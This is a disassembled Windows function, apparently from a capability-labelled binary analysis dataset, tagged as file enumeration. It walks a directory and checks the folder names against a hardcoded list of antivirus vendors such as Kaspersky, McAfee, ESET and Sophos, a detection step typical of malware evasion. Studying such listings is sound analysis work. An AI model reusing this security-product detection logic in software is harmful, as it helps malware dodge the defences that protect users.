Function at 0x140024da0
Capabilities:
Enumerate files on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x318
mov rdx, rcx
lea rsi, [rsp + 0x28]
mov rcx, rsi
call fcn.1400721d0
lea rdx, [0x1401f9b28]
mov rcx, rsi
call fcn.140072e90
lea r13, [rsp + 0x58]
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 0
test byte [rsp + 0x28], 1
lea rbx, [rsp + 0x2a]
mov rcx, rbx
je 0x140024e16
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400250a4
xor eax, eax
mov qword [rsp + 0x88], rax
lea rdi, [rsp + 0xf4]
nop word cs:[rax + rax]
mov ebp, dword [rsp + 0xc8]
mov r15d, dword [rsp + 0xe4]
mov r14d, dword [rsp + 0xe8]
mov ebx, dword [rsp + 0xec]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
lea r13, [rax + rax]
add r13, 2
nop
mov rcx, r13
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140024e80
mov r12, rax
shl r15, 0x20
or r15, r14
mov rcx, rax
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
test bpl, 0x10
jne 0x140024ef0
mov ecx, 0x30
call fcn.14006fb50
mov qword [rax + 0x28], r12
mov dword [rax + 0x20], ebx
mov qword [rax + 0x18], r15
mov dword [rax + 0x10], ebp
lea rcx, [rsp + 0x58]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
jmp 0x140024f4d
mov rcx, r12
lea rdx, [0x1401f9b2e]
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140024f53
mov rcx, r12
lea rdx, [0x1401f9b32]
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140024f53
mov ecx, 0x30
call fcn.14006fb50
mov qword [rax + 0x28], r12
mov dword [rax + 0x20], ebx
mov qword [rax + 0x18], r15
mov dword [rax + 0x10], ebp
lea rcx, [rsp + 0x40]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
inc qword [rax]
xor r12d, r12d
mov rcx, rsi
lea rdx, [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
mov r13d, eax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebp, eax
mov rcx, r12
call fcn.1401f47c0
test r13d, r13d
jne 0x140024e50
cmp ebp, 5
jne 0x140024fa1
mov rcx, qword [rsp + 0x88]
lea eax, [rcx + 1]
cmp ecx, 0x31
mov qword [rsp + 0x88], rax
jb 0x140024e50
cmp ebp, 0x12
lea r13, [rsp + 0x58]
lea rdi, [rsp + 0x40]
lea rbx, [rsp + 0x2a]
je 0x14002509b
lea rcx, [rsp + 0xb0]
mov edx, ebp
call fcn.140073b60
lea rdx, str.in_Exploreing_Folder
lea rcx, [rsp + 0xb0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
movzx r8d, byte [rsp + 0x28]
test r8b, 1
je 0x140025019
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
jmp 0x14002501f
shr r8, 1
mov rdx, rbx
lea rcx, [rsp + 0x90]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x70], 1
je 0x14002505f
mov rcx, qword [rsp + 0x80]
jmp 0x140025064
lea rcx, [rsp + 0x72]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x70], 1
jne 0x140025394
test byte [rsp + 0x90], 1
jne 0x1400253af
test byte [rsp + 0xb0], 1
je 0x14002509b
mov rcx, qword [rsp + 0xc0]
call fcn.14006fbd0
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_FindClose]
movzx ecx, byte [rsp + 0x28]
test cl, 1
je 0x1400250b5
mov rax, qword [rsp + 0x30]
jmp 0x1400250bb
mov rax, rcx
shr rax, 1
lea rdx, [rax - 1]
test cl, 1
jne 0x1400250cc
add dl, dl
mov byte [rsp + 0x28], dl
jmp 0x1400250d6
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x30], rdx
mov word [rbx + rax*2 - 2], 0
mov r12, qword [rsp + 0x48]
cmp r12, rdi
je 0x1400252c1
lea rcx, str.avast_software
mov r15, qword [sym.imp.msvcrt.dll__wcsicmp]
lea rbp, str.eset
mov rdx, qword [r12 + 0x28]
mov rbx, rcx
call r15
mov sil, 1
test eax, eax
je 0x1400252c3
lea r14, [r12 + 0x28]
mov rdx, qword [r14]
lea rcx, [0x1401fa30a]
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.avira
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.bitdefende
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.checkpoint
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.clamwin
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.comodo
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.drweb
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
mov rcx, rbp
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
mov rcx, rbp
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.f_secure
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.f_secure
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.g_data
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.kaspersky_lab
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.malwarebytes
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.mcafee
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.norton_360
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.symantec
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.panda_security
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, [0x1401fa428]
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.sophos
call r15
test eax, eax
je 0x1400252c3
mov rdx, qword [r14]
lea rcx, str.trend_micro
call r15
test eax, eax
je 0x1400252c3
mov r12, qword [r12 + 8]
cmp r12, rdi
mov rcx, rbx
jne 0x140025100
xor esi, esi
cmp qword [rsp + 0x50], 0
je 0x14002531d
mov r14, rdi
mov rax, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rax + 8]
mov rdx, qword [rdi]
mov qword [rdx + 8], rcx
mov rax, qword [rax + 8]
mov qword [rax], rdx
mov qword [rsp + 0x50], 0
cmp rdi, r14
je 0x14002531d
nop dword [rax + rax]
mov rbx, qword [rdi + 8]
mov rcx, qword [rdi + 0x28]
call fcn.1401f47c0
mov rcx, rdi
call fcn.14006fbd0
mov rdi, rbx
cmp rbx, r14
jne 0x140025300
cmp qword [rsp + 0x68], 0
je 0x14002536d
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
mov rdx, qword [rdi]
mov qword [rdx + 8], rcx
mov rax, qword [rax + 8]
mov qword [rax], rdx
mov qword [rsp + 0x68], 0
cmp rdi, r13
je 0x14002536d
nop
mov rbx, qword [rdi + 8]
mov rcx, qword [rdi + 0x28]
call fcn.1401f47c0
mov rcx, rdi
call fcn.14006fbd0
mov rdi, rbx
cmp rbx, r13
jne 0x140025350
test byte [rsp + 0x28], 1
je 0x14002537e
mov rcx, qword [rsp + 0x38]
call fcn.14006fbd0
mov eax, esi
add rsp, 0x318
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
test byte [rsp + 0x90], 1
je 0x140025084
mov rcx, qword [rsp + 0xa0]
call fcn.14006fbd0
test byte [rsp + 0xb0], 1
jne 0x14002508e
jmp 0x14002509b